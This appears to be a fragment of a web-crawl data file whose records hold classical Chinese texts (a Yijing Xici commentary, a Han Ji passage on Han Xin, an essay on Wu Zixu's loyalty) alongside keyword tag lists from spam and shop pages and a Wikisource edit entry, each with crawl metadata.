骚动美女 Evelyn艾莉美女 甜笑美女 美少女战士美女 赵小米美女 音乐美女 香甜美女 惹人爱美女 清澈美女 方安娜美女 俞飞鸿美女 王丽坤美女 刘飞儿美女 宋茜美女 李沁美女 羽毛球美女 网球场美女 玛鲁娜美女 健康美女 刘涛美女 杨紫美女 皮草美女 林心如美女 宜人美女 棚拍美女 江一燕美女 半身裙美女 Vevi美女 风衣美女 客厅美女 刘飞儿faye美女 烈焰红唇美女 清雅美女 浑圆美女 劲爆美女 蛋糕美女 衬衣美女 婷婷美女 Celia美女 刘娅希美女 韩子萱美女 瑜伽美女 软萌美女 黑衣美女 颓废美女 蛮腰美女 慕羽茜美女 伍月yuer美女 背带裙美女 极度美女 不羁美女 小紫藤美女 丽莉Lily美女 Olivia美女 怜爱美女 塑身美女 民族风美女 朱丹美女 亲密美女 馨雅Adela美女 电眼美女 远坂凛美女 风姿美女 七秀美女 龚蓓苾美女 关晓彤美女 剑道美女 初醒美女 eva美女 马苏美女 鸭舌帽美女 大白腿美女 美姿美女 松软美女 Mei美女 gigi美女 梳妆台美女 妮小妖美女 跪地美女 沉思美女 厚嘴唇美女 行走美女 亚洲美女 樊玲美女 性感写真美女 主播美女 学妹美女 新娘美女 ?","id":"","dump":"CC-MAIN-2022-27","url":"http:\/\/olivestudio0.dothome.co.kr\/xe\/index.php?mid=reservation&search_target=tag&search_keyword=%E9%A6%99%E6%B8%AF%E7%82%AE%E5%8F%8B&document_srl=73087","date":"2022-06-30T04:21:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103661137.41\/warc\/CC-MAIN-20220630031950-20220630061950-00724.warc.gz","language":"lzh","language_score":0.4539035559,"language_script":"Hani","minhash_cluster_size":35,"top_langs":"{\"lzh_Hani_score\": 0.45390355587005615, \"cmn_Hani_score\": 0.3366607427597046, \"yue_Hani_score\": 0.1582072526216507, \"nan_Hani_score\": 0.042901866137981415}","num_words":791,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.183,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.477,"perplexity_score":500.0,"cluster_detection":1} +{"text":"《子夏易传》周易系辞下 卷八\n八卦成列,象在其中矣。因而重之,爻在其中矣。剛柔相推,變在其中矣。繫辭焉,而命之動在其中矣。吉凶悔吝者生乎,動者也。剛柔者立本者也。變通者,趣時者也。吉凶者,貞勝者也。天地之道,貞觀者也。日月之道,貞明者也。天下之動,貞夫一者也。夫乾確然示人易矣。夫坤隤然示人簡矣。爻也者,效此者也。象也者,像此者也。爻象動乎内,吉凶見乎外。功業見乎變,聖人之情見乎辭。\n剛柔相推,而八卦成矣。八卦既列,象在其中矣。天地山澤,雷風水火,天下之大象也。健順動止,離險巽說,庶情之大端也。可得而見矣。相因而重之,爻動其中,兩而相求,情偽可得而吉凶形矣。剛柔相易,變化可觀也。繋辭以辨其動,吉凶悔吝之所明也。故可以觀其辭而效其動。剛柔者,素定其位而立其本也。變而通之者,就其吉而違諸凶,易其所也。從其時而歸其貞,可貞勝矣。夫貞者,得其分,恒其一,不徇於外也。則於物不惑矣。得事之幹也。當吉而保其吉,當凶而索其凶,天地以是貞也。得萬物之觀而為人之則也。日月以是貞也。得萬物之瞻而保其明也。天下萬物得其生動,皆得其貞一,故能繼其續也。夫乾運天之神,堅其一而不雜,確然易也。坤得地之順也。守其一而成物,隤然簡也。皆保一以成,其施而無情巧焉。示其以易,簡也。而物從之得矣。爻者,人得效此而動也。象者,人得像此而制也。爻象動於内,可得而觀也。吉凶見乎外,可徴而從也。功業見乎變,因變而成也。聖人之情見乎,辭可得,極於深而至之也。\n天地之大徳曰生,聖人之大寶曰位。何以守位曰仁,何以聚人曰財。理財正辭,禁民為非曰義。古者包犧氏之王天下也,仰則觀象於天,俯則觀法於地,觀鳥獸之文與地之冝,近取諸身,逺取諸物,於是始作八卦,以通神明之徳,以類萬物之情。作結□而為網罟,以佃以漁,盖取諸離。\n天設四時而寒暑周焉。地設剛柔而生長遂焉。此天地之徳而厚其生也。聖人者,合天地之德,備萬物之情,帝人之器也。故有位而其道乃行,位其大寶者,與能守其位者仁也。何以仁,能聚其財,財也者,得物之財而資人以為財也。故設罟網作耒耜,通舟楫,易交貨,是類者民得物之財,成聖人之仁也。故得安其所聚,保其所居財之利爭斯興也。故治其分,正其名,禁其非,制而得冝曰義。故始於垂衣而列貴賤,中於重門而擊柝,終於弦木為弧矢,以示其禁而得易之變。此聖人之義而保其仁也。太古,鳥獸萬物多而人寡,不待易物之財。人人自保其資也。至於人寖而盛,物斯鮮矣。食用艱矣,則智者有易。仰觀象於天,得四時之易也。俯觀法於地,承天時而易也。觀鳥獸之文,類聚羣分,就利違害,而從其易也。觀其情而得其冝也。健以施下,順以承上,可則動之否,則止之險,則經之親,則麗之外。柔以說之,内順以巽之,近得於身也。天乾而地坤,雷動而山止,日照而雨濡,風散而澤潤,物之大者也。在乎萬物其生也。含隂陽而生其受也。偏象之氣,故乾為馬,坤為牛。震為龍,巽為雞。離為雉,坎為豕。艮為狗,兊為羊。是以天下之受可得矣。於是始畫八卦,見其象,察其數,運於無形,明於顯著。混萬物而為一,而咸得其情則知其所麗矣。網罟内虚而外堅,維之離之象也。魚禽麗之而不脱弱,能麗其强,離之義也。遂犧而供其庖焉。天下之利,衆歸往而取法焉,故曰庖犧氏之王天下。立其位而行其道也。\n包犧氏没,神農氏作。斵木為耜,揉木為耒,耒耨之利,以教天下,蓋取諸益。\n神農氏之時,人育而繁,腥毛不足供給其食,脩易其變,觀天地之冝,相五榖之種可食者,收而藝之。易物之才而生財也,其在於器乎。故斵木為耜,揉木為耒,木可以揉曲直於斯得之,為象能動木也。其義益之大也,神而化之,得農之道。是以取諸益。\n日中為市,致天下之民,聚天下之貨,交易而退,各得其所。蓋取諸噬嗑。\n上古人質而自守其居,自費其用,而不相往來。財貨之有餘,不足不知其均也,故為之市。致天下之民,聚天下之貨而交易之,各得其所,齊其有餘而退,噬嗑之義也。日中者,明也。萬物皆相見,而不相昧。動於明之象也。是以取之噬嗑。\n神農氏沒,黄帝堯舜氏作。通其變,使民不倦,神而化之,使民冝之。易窮則變,變則通,通則久,是以自天祐之,吉无不利。黄帝堯舜垂衣裳而天下治,蓋取諸乾坤。\n古之厚民者,興其利,未設其禁也。及世久而民盛,利薄而無分,則民殫其力,不足以為養民,患其競,不足以相禁。故聖人慮其患,因時而易變,故黄帝堯舜氏制度數采,章封土田,建官分賢不肖,而等其貴賤,通物之財,以為用。易物之力,以待勞。攻物之能,以相禦。使物之能,以相濟。是以神而化之,民得冝之,易窮則變,變則通,通則久。易天下之物,成天下之務。終乾坤,極萬物,而易行於無窮。是以自天佑之,吉无不利。天保其尊,地保其卑,聖人安上,衆民安下,其象天上地下也。其義上健而無為,下順職事也。上下旣位可久而無替也。是以取諸乾坤。\n刳木為舟,剡木為楫,舟楫之利,以濟不通。致遠以利天下,蓋取諸渙。\n木之為物,浮於水也。可以行險而不窮也。故虚木而舟之,剡木而楫之,以濟乎水,渙之象也。得其散適而致其遠,渙之義也。是以取諸渙。\n服牛乗馬,引重致遠,以利天下,蓋取諸隨。\n牛者,堅壯之物,可以牽引其重。馬者,健速之物,可以乗而致遠。柔弱乗其剛壯之物,随之象也。動而說之,隨物之性而牽致之義。是以取諸隨。\n重門擊柝,以待暴客,蓋取諸豫。\n以柔順之道,則物之生心也。剛動於外,以閑之豫之象也。則暴客無至也。順而動之,得其備矣。豫之義也。是以取諸豫。\n斷木為杵,掘地為臼。臼杵之利,萬民以濟,蓋取諸小過。\n杵動於上,臼止於下。上動而小,小過之象也。小器設而萬民獲濟,小能濟大,小過之義也。是以取諸小過。\n弦木為弧,剡木為矢。弧矢之利,以威天下,蓋取諸睽。\n睽小事吉。象不合而爻用也。是其全用而外合,以為用。得其小用也。睽衆才以為小器,睽之象也。利威逺而合諸睽者,睽之義也。是以取諸睽。\n上古穴居而野處,後世聖人易之以宫室,上棟下宇,以待風雨,蓋取諸大壯。\n上古人淳而未得其器之適也,故穴居以求其温。野處以薄其燠,未免於墊隘風雨也。土弱脃之物,棟宇堅壯之物也。易之以宫室,上棟下宇,自下而壯,大壯之象也。則可以待風雨而極其宫室之用也。大壯之義是以取諸大壯。\n古之葬者,厚衣之以薪,葬之中野,不封不樹,喪期无數。後世聖人易之以棺槨,蓋取諸大過。\n太古之人,朴而未散,哀樂之情無係也。故生而求充其體,死而葬諸中野,以為無知而異類也。後世淳漓情智外散,故親其親,子其子,而哀樂惡欲之心盈矣。是以聖人因遵其情,而成其敎明,神道立上,下修五禮,設五敎以養生送死,以達其情而天下聽矣。設棺槨,穴地而葬之,其象入於澤也。其義不忘死而過厚之也。是以取諸大過。\n上古結繩而治,後世聖人易之,以書契百官以治萬民以察,蓋取諸夬。\n上古官職未設,人自為治,記其命而巳,可以結繩也。至於道散,於是聖人始立百官,造書契,萬民不待力求而以之察之。夬,剛長而至於五也。上下百官皆在其位,夬之象也。小人之道外其義,可以決而治矣。是以取諸夬。象者像也,義者財也,有其象則備其財矣。故制器者先得其象焉。\n是故易者象也。象也者像也。彖者材也。爻也者效天下之動者也。是故吉凶生而悔吝著也。陽卦多隂,隂卦多陽,其故何也。陽卦竒,隂卦耦,其德行何也。陽,一君而二民,君子之道也。隂,二君而一民,小人之道也。易曰:憧憧往來,朋從爾思。子曰:天下何思何慮,天下同歸而殊塗。一致而百慮,天下何思何慮。日往則月來,月往則日來。日月相推而明生焉。寒往則暑來,暑往則寒來,寒暑相推而歳成焉。往者屈也,來者信也,屈信相感,而利生焉。尺蠖之屈以求伸也,龍蛇之蟄以存身也,精義入神以致用也,利用安身以崇徳也。過此以往未之或知也。窮神知化德之盛也。易曰:困于石,據于蒺藜,入于其宫,不見其妻,凶。子曰:非所困而困焉,名必辱。非所據而據焉,身必危。既辱且危,死期將至。妻其可得見邪。易曰:公用射隼于髙墉之上,獲之。无不利。子曰:隼者,禽也。弓矢者,器也。射之者,人也。君子藏器于身,待時而動,何不利之。有動而不括,是以出而有獲。語成器而動者也。子曰:小人不恥,不仁,不畏,不義,不見利,不勸,不威,不懲。小懲而大誡,此小人之福也。易曰:屨校滅趾,无咎。此之謂也。善不積不足以成名,惡不積不足以滅身。小人以小善為无益,而弗為也。以小惡為无傷,而弗去也。故惡積而不可掩,罪大而不可解。易曰:何校滅耳,凶。子曰:危者,安其位者也。亡者,保其存者也。亂者,有其治者也。是故君子安而不忘危,存而不忘亡,治而不忘亂。是以身安而國家可保也。易曰:其亡其亡,繫于苞桑。子曰:德薄而位尊,知小而謀大,力小而任重,鮮不及矣。易曰:鼎折足,覆公餗,其形渥,凶。言不勝其任也。子曰:知幾其神乎,君子上交不諂,下交不瀆。其知幾乎。幾者,動之□,吉之先見者也。君子見幾而作,不俟終日。易曰:介于石,不終日,貞吉。介如石焉,寧用終日,斷可識矣。君子知微,知彰,知柔,知剛,萬夫之望。子曰:顔氏之子,其殆庶幾乎。有不善,未甞不知。知之未甞復行也。易曰:不逺復,无祗,悔。元吉。天地絪緼,萬物化醇,男女搆精,萬物化生。易曰:三人行則損一人,一人行則得其友。言致一也。子曰:君子安其身,而後動易其心,而後語定其交,而後求。君子修此三者,故全也。危以動,則民不與也。懼以語,則民不應也。无交而求,則民不與也。莫之與,則傷之者至矣。易曰:莫益之,或擊之,立心勿恒,凶。\n易者:聖人寄其物,而設其象也。象者,可觀其物冝人,得而象。彖者:言乎卦之卦義,可觀其辭,而得其歸也。爻者:效天下之動也。動而吉凶悔吝之所生也。貞一而可以勝之矣。夫隂陽者,相求之物也。勝而往居為之主也,情性之所歸也,故其偶寡者而得其主也。其德行者,陽者明也。無私而體物之理也,可以施其令而保其尊也,一之道也。故陽卦一君子而二小人從,順之道也。隂者,暗也。昧於時之務也,承命而力其事,小人之職二之道也。故隂卦一小人而二君子,顚其道也,反其行也。而貴於形也。夫以形累而不以神遇者,非君子。貞一之道也。天下之器廣矣,其為物多矣,繫而憧憧,往來不離其形,而求其至,使從其思者,不亦劣乎。思而慮之,自喪之矣。何暇至於物哉。故聖人無思也,無慮也,寂然貞一,而不可惑也。以同也。而歸其殊塗以一也,而致其百慮,物自有其終始也。何所思慮哉。是以貞一之道,無不歸其同也。至於日往則月來,月往則日來,用捨相推也,往者不用也,來者用也。以不用而保其用,守其貞一也。故明焉。寒來則暑徃,暑徃則寒來,寒暑相代,故能成其歳,本於止而後動也。故時之往則不用也,止也,故為之屈。時之來則用也,動也,故為之伸。屈而伸之,乃利生也。故尺蠖之屈以求伸也。龍蛇之蟄以存身也。皆本其止也。以是聖人窮理而盡性,止於無方,行於無形者,所以致神之用也。致其利用,能安其身者,修廣其德,用之而不殆也。道極乎是矣。故能窮神之所自知變之所化,此德之盛也。易之大歸也。聖人之至矣。是以君子保其貞一,得其所安,然後名可達也。非所困而困焉,非所據而據也,不量其力,危辱及矣。死期將至,雖至親而畔也。妻其可見乎,此不能安其身而愼其求也。夫保其身者,動而無失也。修德者,利其用也。是以公用射隼於髙墉之上,獲之無不利。德之備時之動,故能獲其位也。得位而蒞於民者,不可以不察於小人。為人之上者,本乎仁也。愛而過之,失其仁也。故小懲而大誡,乃小人之福也。御之以道仁,在其中矣。是以屨校滅趾,無咎至乎。惡積而累之罪大而誅之,無及之矣。則小人滅其身,而君子失其刑也。是以何校滅耳,凶。居其位而不失御其下之道,則可矣安。而盈之自喪之矣。歛身慮危,乃可全也。故君子安而不忘危,存而不忘亡,治而不忘亂,是以身安而國家可保也。故曰,其亡其亡,繫于苞桑,然後能保其位也。愼在於謀大任重乎不可以不審也,過斯敗之矣。故德薄而位尊,智小而謀大,力小而任重,鮮不及矣。是以鼎折足,覆公餗,其形渥,凶。不勝其任者也。夫能知其事之微者,可以從其大也。履其大任,其重雖萬變而得其神也。夫知幾則禍福之源明矣。幾者,事之來也。介然如石,不可以利,變也。觀吉而動,何不利焉。故上交不諂,不苟容也。下交不瀆,不輕怠也。知則吉矣。豈待於終日乎。故知微,知彰者,知其終始也。知柔,知剛者,識變化之為也。君子能知此者,萬夫之所望,可則而象也。此聖人之道至也。無以加矣。靜而無思,而得其神焉。見幾而後動,顔子者也。動而後知,知非而復,近尚於幾也。近而復之,不適於悔,好學者也。故曰,顔氏之子,其殆庶幾乎。有不善,未甞不知。知之未甞復行。是以不逺復,無祗,悔。元吉。知天之幾者,能通天下之志也。雖逺也,學而可以至之也。學以求之,其至者非一,以求之不可得也。故天地絪緼相繼,男女感應,相與皆一而通之乃能化醇也。學而二三,則其志惑矣。何以應哉。積一以求之,乃得其有。易曰\"蒙亨,匪我求童蒙,童蒙求我。\"志求而應,然後能自化也。是以三人行則損一人,一人行則得其友。言致其一也。君子學以致其道者,身得其安也。則動而不失其節矣。心得其易也,則語而得其當也。辨而得其交也。應而供其求也。君子修此三者,故能全也。故危以動,則民莫與。懼以語,則民不應。無交而求,則民不與。莫與之,則傷之者至矣。是以莫益之,或擊之,立心勿恒,凶。心無主矣。於物不辨矣。何以為恒哉。修是而可以周矣。\n子曰:乾坤,其易之門邪。乾陽,物也。坤隂,物也。隂陽合德而剛柔有體,以體天地之撰,以通神明之德,其稱名也。雜而不越於稽其類,其衰世之意邪。夫易,彰往而察來,而微顯闡幽,開而當名辨物,正言斷辭,則備矣。其稱名也。小其取類也,大其□,逺其辭,文其言,曲而中其事,肆而隱因貳,以濟民行,以明失得之報。\n乾坤相求而為八卦,八卦重錯而窮。天下之象,皆生於乾坤也。非易之門邪。故乾陽物也。坤隂物也。隂陽各合德,而有剛柔之體以體象天地之為。以通神明之德,其取象稱名,雖雜細也,而吉凶之分不過於理。故聖人考其辭義,而歎之不敢正言也。其衰世之意邪。憂其傷也。夫易,明其旣往而察其將來,顯其微而闡其幽,開物之狀而當名辨物正言,而吉凶備,斷於辭矣。其稱名者,小可以藏其取類也。大可以廣其陳也。其□逺可以探賾,其辭文可以玩其意也。其言委曲而直於理,其事放肆而伏藏其奥焉。此立本於小也。近也,曲也,放也,觀其□有以副,而明之則大也,逺也,中也,深也。故因貳而索之,可以濟民之行。明而動之,可否而失得來報,以治其本也。\n易之興也。其於中古乎,作易者,其有憂患乎。是故履德之基也。謙德之柄也。復德之本也。恒德之固也。損德之修也。益德之裕也。困德之辨也。井德之地也。巽德之制也。履和而至謙,尊而光,復小而辨於物,恒雜而不厭,損先難而後易益。長裕而不設困。窮而通井,居其所而遷巽,稱而隱,履以和行,謙以制禮,復以自知。恒以一德,損以逺害。益以興利,困以寡怨,井以辨義,巽以行權。\n易之興也,當於中古乎世衰道喪,而患其憂。情實相逺,而詐怨之蔓也。故其思深,其防曲,原天下之理,窮變化之□。則吉凶悔吝其我之所自乎。故履徳之基也,其德所治而有别也。則不失亂矣。别而寡,親和之,乃為至也。别而履之,和而從之,禮樂之道。可以立德而成行矣。用而交者,謙也。卑以自牧,得人之尊,其道光也。故能制其履,而保其所履也。往而不知復,無其本也。知悔而復,復於本也。不逺而復,在其小而來著乎。自知者也。德之本也,道之所由生也。定於内外之分者,可久之道也。其德固矣。定於内矣,雖多雜而不厭也。恒其一德者也。損己奉上,德之修也。損以減己,固先難矣,而說以與其道,易也。可以附其安矣。其何害乎。益其下者也。得寛而容也。長而能寛,不設備而民信也。自上與下,得下之竭興利者也。困也者,君子辨其失而考德,困與窮而修之,故能終通也。不責於人也。其寡怨矣。君子保德,猶井之不渝也。德遷而及民,養而不窮。井之德也。施而不求其報,君子之義也。巽而下民者,非虧君子之道也。志有所之而為制也,稱於物之情而□隱乎其中。所以行權而制事也。事不巽則不能制也。此君子行於易而周其患也。\n易之為書也,不可逺為道也。屢遷變動不居。周流六虚,上下无常,剛柔相易。不可為典要,唯變所適,其出入以度外。内使知懼,又明於憂患與。故无有師保,如臨父母。初率其辭而揆其方,旣有典常,茍非其人道,不虚行。\n易之為書也,中於務而不可逺其為,道也。因時而易,不滯於固。周流六位,而不見其狀。上下無常,剛柔相易,各指其要,惟變所適。象其物宜,觀其吉凶,得其出入之度。則内外知懼,而進退之分著也。又明於憂患與,憂患之所從,則凶悔之兆。儼乎其前,如父母師保之臨也。初修其文而度其義,可得時之適,為守常之道。得其道而後行。\n易之為書也,原始要終以為質也。六爻相雜,唯其時物也。其初難知,其上易知,本末也。初辭擬之,卒成之終。若夫雜物撰德,辨是與非,則非其中爻不備。噫,亦要存亡吉凶,則居可知矣。知者觀其彖辭則思過半矣。二與四同功而異位,其善不同。二多譽,四多懼。近也。柔之為道,不利逺者,其要无咎,其用柔中也。三與五同功而異位,三多凶,五多功。貴賤之等也。其柔危其剛勝邪。\n易之為書,原始要終以為體也。夫物生而後有象,象成而後有數。窮數極變而為終。君子觀之可以知其歸也。六爻之設,隂陽之位,尊卑之分,剛柔之處,吉凶之報,象其時物也。初始象也。擬其形而則之,故難知也。其數窮變,極道之終也,故易知。初以辭擬之,其終得其體也。本難知而末易見也。是故雜類其事,思察為德,辨其是非,要其吉凶。觀夫中而得之矣,歸其主之制也。智者觀其彖辭,得象之大□,則六爻之雜,變化之理,□之則吉,違之則凶。蓋得其半矣。三與四同功而異位,隂耦也,承陽之道也。二多譽,四多懼,四近於尊,疑其逼也。柔之道也。逺而不利,二得柔中,中不邪也。柔奉上也。故多□而吉焉。故柔而居之,吉也。三與五同功而異位,微以及著,隂陽分布,三則陽緫下,象也,臣之道也。兩三才積,剛柔而至於五,大君之道也。故同功而異位。三多凶,有民而上,乗髙而難居也。五多功尊,無過也。為上者能斷其制也。故柔居之而危其剛勝者也。\n易之為書也,廣大悉備,有天道焉,有人道焉,有地道焉。兼三才而兩之,故六。六者,非他也,三才之道也。道有變動,故曰爻,爻有等,故曰物,物相雜,故曰文,文不當故,吉凶生焉。\n易之為書也,廣大悉備矣。明三才之道焉。八卦小成,體其象矣。因而重之,耦天下之情,以極其剛柔之理也。故三才之道,以六位而成文也。道有變動,情之求也。故六爻效其動焉。位有隂陽,處有剛柔,得其等列,當其行事,故曰物。物雜而剛柔有閒,故曰文。文之不當,則不能治也,故有吉凶之及焉。\n易之興也,其當殷之末世,周之盛德邪。當文王與紂之事邪。是故其辭危,危者使平。易者使傾,其道甚大,百物不廢,懼以終始其要,无咎。此之謂易之道也。\n易之興也,當末殷周之盛德也。殷紂反正,文王受幽,憂於危亡,故積其行事,極其象類,窮其變化,作為易之書。以違其凶悔而明其道也。使憂者,謹愼而得其平民所助也。易之不戒者,自致其傾衆所棄也。所以推其亡而固其存也。其道甚大,而百事得舉也。懼其凶害,閑其進退,則始終□其無咎,此易之道也。\n夫乾天下之至健也,德行恒易以知險。夫坤天下之至順也,德行恒簡以知阻。能說諸心,能研諸侯之慮,定天下之吉凶,成天下之亹亹者。是故變化云為吉事有祥,象事知器,占事知來,天地設位聖人成能,人謀鬼,謀百姓,與能八卦,以象告爻。彖以情言,剛柔雜居而吉凶可見矣。變動以利,言吉凶以情遷,是故愛惡相攻,而吉凶生。逺近相取而悔吝生,情偽相感而利害生。凡易之情近而不相得,則凶或害之,悔且吝。將叛者其辭慙中,心疑者其辭枝。吉人之辭寡,躁人之辭多,誣善之人其辭游,失其守者其辭屈。\n夫乾天下之至健也。一而靜,故能通天下之志。知天下之幾,則無險而不知也。知其為者,敗之故能守其易。坤天下之至順也。直而方,達天下之事,識天下之過,故能無阻不察也。則知其執事失之也。故能守其簡健而通之動,而順之,皆得其止。故能說天下之心,窮天下之慮,定天下之吉凶。使天下自曉而不亂也。是故變化之道云為之務,吉事先兆,制器知象,占事知來。天地設位而生化,聖人象之而成能。故將有為也。可以盡其事之始終,謀鬼神於卜筮,則百事歸上之□,而盡力於下矣。八卦備其象,可以象也。爻彖伸其情,可以思也。剛柔與居,達其文理,察其取舍而吉凶可見矣。觀其利而後變動,察其吉凶而後遷其情。此易之道也。故取愛惡相攻而得失者,吉凶生也。逺近相取而差時者,悔吝生也。情以感物者,利之生也。偽以蔽人者,害之及也。夫物不相得,則近而彌凶也。或害之而悔且吝,故將叛者,其辭慙内虚,而求其說也。中心疑者,不知所從,其辭枝也。吉人守之而。闕","id":"","dump":"CC-MAIN-2022-33","url":"https:\/\/yijing.taijidian.cn\/1531.html","date":"2022-08-16T18:44:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-33\/segments\/1659882572515.15\/warc\/CC-MAIN-20220816181215-20220816211215-00746.warc.gz","language":"lzh","language_score":0.4932725132,"language_script":"Hani","minhash_cluster_size":12,"top_langs":"{\"lzh_Hani_score\": 0.4932725131511688, \"cmn_Hani_score\": 0.38584375381469727, \"nan_Hani_score\": 0.07032433897256851, \"wuu_Hani_score\": 0.025121768936514854}","num_words":44,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.177,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.521,"perplexity_score":500.0,"cluster_detection":1} +{"text":"夏四月、諸侯皆就國。漢王欲叛楚、蕭何諫曰、雖王漢中之惡、不猶愈於死乎。且語稱天漢、其稱甚美。夫能屈於一人之下、則伸於萬人之上。湯武是也。願大王王漢、撫其民以致賢人、收用巴・蜀、還定三秦、天下可圖也。乃就國。\n賜曹參爵為建成侯、樊噲為臨武侯。\n張良燒絶棧道、示無還心。良因絶棧道而還於韓。\n於是沛公遂至南鄭、封呂公為臨泗侯。淮陰人韓信為治粟都尉。\n初、信家貧、常寄食於下郷亭長。亭長妻厭之、乃自絶而去、釣於下邳城下。有漂母憐信、食信數十日。信曰、富貴我必厚報母。母怒曰、大丈夫不能自食、吾豈求報乎。淮陰市有少年衆辱信曰、能死殺我、不能死出我跨下。信遂俛而出其跨下、市人大笑之。信母死、家貧無以葬、乃行營高敞葬地。令其傍可置萬家者。\n後事項羽為郎中、羽不能用而去、歸於漢。坐事當斬、已伏鑕、仰視乃見夏侯嬰曰、王不欲取天下邪、而斬壯士。太僕嬰言之於王、赦之不誅、以為都尉。蕭何知其賢、王不能用、信亡。蕭何遽自追之、不及以聞、三日乃至。王怒曰、何之。何曰、追亡者耳。王曰、諸將亡者十輩、公無所追。追信、詐也。何曰、諸將易得耳。大王必欲定天下、非信無可用者。王乃以為大將軍。何曰、大王性素慢人、毎拜大將軍、若召小兒。此信所以去也。宜立壇場、齋七日、設九賓禮而拜之。既拜信、衆咸驚焉。\n信見王曰、今東向爭天下、豈非項王也。王曰然。信曰、大王自料勇悍仁彊孰與項王。王曰、不如也。信再拜曰、唯信亦以為大王不如也。然項王喑嗚叱吒、千人皆靡、然不能屬任賢將。此特匹夫之勇耳。項王與人恭敬、人有疾病、流涕與之分食、至於封賞、吝而不能與。此特匹婦之仁耳。雖王天下、不居關中、都彭城、又背義帝約、而以親疏王諸侯不平、所過無不殘滅、百姓不附。雖名為伯、實失天下心。故曰其強易弱。今大王誠能反其道、任天下武勇、何所不誅、以天下城邑封功臣、何所不服。以義兵從思東歸之士、何所不勝。且三秦王詐其衆降諸侯、項王詐坑秦降卒二十餘萬人。唯邯・忻・翳等三人得脱。秦人父兄怨此三人、痛入骨髓。大王入關、秋毫一無所取、除秦苛法、吏人無不欲得大王王秦。於諸侯之約、大王當王關中。王失職之蜀、秦人無有不恨者。今大王舉兵而東。三秦可傳檄而定也。於是王大喜。自以為得信晚也。\n(『漢紀』高祖皇帝紀巻第二)","id":"","dump":"CC-MAIN-2022-40","url":"https:\/\/t-s.hatenablog.com\/entry\/20181130\/1543503856","date":"2022-10-04T22:57:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-40\/segments\/1664030337529.69\/warc\/CC-MAIN-20221004215917-20221005005917-00507.warc.gz","language":"lzh","language_score":0.758035481,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.7580354809761047, \"cmn_Hani_score\": 0.15052814781665802, \"nan_Hani_score\": 0.04105472192168236, \"jpn_Jpan_score\": 0.02399800717830658, \"wuu_Hani_score\": 0.010334879159927368}","num_words":8,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.769,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Becky0248\n→교정 안 됨: 새 문서: 則先生手書胎敎新記音義也寅普驚喜殆不自定 不□十載耿耿一朝而償久願以先生卓犖閎碩而 淑人訓之知先生者當知淑人之學爲何如而是書 實淑人平生心力所凝聚此而不傳於震域學術遺 恨至鉅及幾不傳而傳其爲□可勝道哉淑人在室 習經讀六藝百家之言旣歸木川君木川君又負絕 學夫婦□□講明古聖賢恉義㫄治曆筭至律吕靈 素靡所不儷偕曁木川君汲則嫥意敎先...\n00:08\n+631","id":"","dump":"CC-MAIN-2022-49","url":"https:\/\/ko.m.wikisource.org\/wiki\/%ED%8A%B9%EC%88%98:%EC%97%AD%EC%82%AC\/%ED%8E%98%EC%9D%B4%EC%A7%80:%ED%83%9C%EA%B5%90%EC%8B%A0%EA%B8%B0%EC%9E%A5%EA%B5%AC%EB%8C%80%EC%A0%84.pdf\/7","date":"2022-12-04T19:17:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-49\/segments\/1669446710978.15\/warc\/CC-MAIN-20221204172438-20221204202438-00764.warc.gz","language":"lzh","language_score":0.4889430106,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.4889430105686188, \"cmn_Hani_score\": 0.2758401930332184, \"jpn_Jpan_score\": 0.0930171087384224, \"yue_Hani_score\": 0.05592610687017441, \"nan_Hani_score\": 0.03502951189875603}","num_words":14,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.173,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.494,"perplexity_score":500.0,"cluster_detection":1} +{"text":"锡林浩特福连升老北京布鞋、休闲鞋品牌加盟店信息和锡林浩特鞋店加盟方法介绍。\n乐山 邢台 襄阳 订货会 铜陵 怀化 玉溪 西昌 张家口 贺州 赤壁 洛阳 巴中 新余 湖州 玉树 温州 新乡 扬州 武冈 巩义 府谷 常德 渝北 会昌 赣州 葫芦岛 宜昌 愉林 临章","id":"","dump":"CC-MAIN-2023-06","url":"https:\/\/www.fuliansheng.com\/index.php?m=home&c=Tags&a=lists&tagid=1362","date":"2023-02-07T08:07:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764500392.45\/warc\/CC-MAIN-20230207071302-20230207101302-00581.warc.gz","language":"lzh","language_score":0.5961225033,"language_script":"Hani","minhash_cluster_size":271,"top_langs":"{\"lzh_Hani_score\": 0.5961225032806396, \"cmn_Hani_score\": 0.38721442222595215}","num_words":31,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.596,"perplexity_score":500.0,"cluster_detection":1} +{"text":"子胥公佐吳伐楚以报父仇 生为英杰 死为神明 忠孝英风 如日月之经天 江河之纬地 春秋时一人也 而后世腐儒小生不究始未 不知本原 轧以臆说 肆其横议 甚者斥为逆党 訾其不忠虽有苏东坡 顾亭林 吴枚村诸公之辩 诬告犹以为非探本之论也\n竊以为 子胥公之忠不忠 以伍氏为楚之公族与非 楚之公族为断 伍氏如楚之公族也 则子胥公以父之冤死竟挟外敌以伐其祖国 夷其宗庙乱其宫室 使千数百年之祖若宗不血食 不独无以对 祖宗奢公在天之灵亦不安心也 伍氏如非楚之公族也则椒既为楚所灭 数千年之帝冑沦为庶人 父兄復无辜受诛 一家五十余口皆被惨死 既灭吾国 復灭吾宗 此而可忍 孰不可忍 虽灭楚可 也鞭平王之墓可也 掘平王之尸亦可也 